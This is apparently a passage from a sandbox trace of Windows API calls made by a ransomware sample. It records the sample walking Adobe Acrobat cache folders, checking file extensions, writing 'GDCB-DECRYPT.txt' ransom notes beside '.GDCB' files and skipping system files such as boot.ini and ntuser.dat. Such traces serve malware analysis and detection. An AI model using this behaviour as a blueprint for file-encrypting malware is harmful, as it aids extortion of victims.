(in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr65536.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB" [0169.851] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 113 [0169.851] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0169.851] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.851] lstrcmpW (lpString1="SharedDataEvents", lpString2=".") returned 1 [0169.851] lstrcmpW (lpString1="SharedDataEvents", lpString2="..") returned 1 [0169.851] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="SharedDataEvents" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents" [0169.851] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 103 [0169.851] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.851] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2=".") returned 1 [0169.851] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2="..") returned 1 [0169.851] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="ToolsSearchCacheRdr" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr" [0169.851] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned 106 [0169.851] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.851] lstrcmpW (lpString1="UserCache.bin.GDCB", lpString2=".") returned 1 [0169.851] lstrcmpW (lpString1="UserCache.bin.GDCB", lpString2="..") returned 1 [0169.851] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="UserCache.bin.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB" [0169.851] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 105 [0169.851] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0169.851] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0169.851] FindClose (in: hFindFile=0x5a4918 | out: hFindFile=0x5a4918) returned 1 [0169.851] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.851] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\\\GDCB-DECRYPT.txt") returned 104 [0169.851] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\adobe\\acrobat\\dc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.852] GetLastError () returned 0x50 [0169.852] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.852] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\") returned 87 [0169.852] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\*" [0169.852] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5a4918 [0169.852] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.852] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.852] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.852] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.852] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.852] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2=".") returned 1 [0169.852] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2="..") returned 1 [0169.852] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst" [0169.852] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.853] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 105 [0169.853] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 105 [0169.853] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.853] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.853] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2=".") returned 1 [0169.853] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2="..") returned 1 [0169.853] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst" [0169.853] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.853] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 105 [0169.853] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 105 [0169.853] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.853] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.853] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2=".") returned 1 [0169.853] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2="..") returned 1 [0169.853] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" [0169.853] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.853] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 104 [0169.853] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 104 [0169.853] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.854] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.854] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2=".") returned 1 [0169.854] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2="..") returned 1 [0169.854] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst" [0169.854] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.854] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 104 [0169.854] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 104 [0169.854] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.854] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.854] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0169.854] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0169.854] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache" [0169.854] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\" [0169.854] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.854] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.854] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.854] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.854] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.854] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.855] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\") returned 93 [0169.855] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*" [0169.855] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5a4d18 [0169.855] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.855] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.855] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.855] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.855] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.855] lstrcmpW (lpString1="AcroFnt15.lst", lpString2=".") returned 1 [0169.855] lstrcmpW (lpString1="AcroFnt15.lst", lpString2="..") returned 1 [0169.855] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst" [0169.855] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 106 [0169.855] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0169.855] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.855] lstrcmpW (lpString1="AcroFnt17.lst", lpString2=".") returned 1 [0169.855] lstrcmpW (lpString1="AcroFnt17.lst", lpString2="..") returned 1 [0169.855] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst" [0169.855] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 106 [0169.855] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0169.855] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.855] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.855] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.855] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt" [0169.855] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 109 [0169.855] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.855] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0169.855] FindClose (in: hFindFile=0x5a4d18 | out: hFindFile=0x5a4d18) returned 1 [0169.855] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.855] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\\\GDCB-DECRYPT.txt") returned 110 [0169.855] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\adobe\\acrobat\\dc\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.856] GetLastError () returned 0x50 [0169.856] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.856] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\") returned 93 [0169.856] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*" [0169.856] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5a4e18 [0169.856] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.856] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.856] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.856] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.856] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.856] lstrcmpW (lpString1="AcroFnt15.lst", lpString2=".") returned 1 [0169.857] lstrcmpW (lpString1="AcroFnt15.lst", lpString2="..") returned 1 [0169.857] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst" [0169.857] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.857] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 106 [0169.857] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 106 [0169.857] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.857] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.857] lstrcmpW (lpString1="AcroFnt17.lst", lpString2=".") returned 1 [0169.857] lstrcmpW (lpString1="AcroFnt17.lst", lpString2="..") returned 1 [0169.857] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst" [0169.857] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.857] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 106 [0169.857] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 106 [0169.857] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.857] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.857] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.857] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.857] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt" [0169.857] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.858] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 109 [0169.858] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 109 [0169.858] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 109 [0169.858] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 109 [0169.858] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.858] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.858] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.858] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.858] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.858] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.858] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.858] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.858] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.858] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.858] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0169.858] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0169.858] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.858] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.858] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.858] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt" [0169.858] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.858] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 103 [0169.858] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 103 [0169.858] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 103 [0169.858] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 103 [0169.858] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.858] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.858] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.858] lstrcmpiW 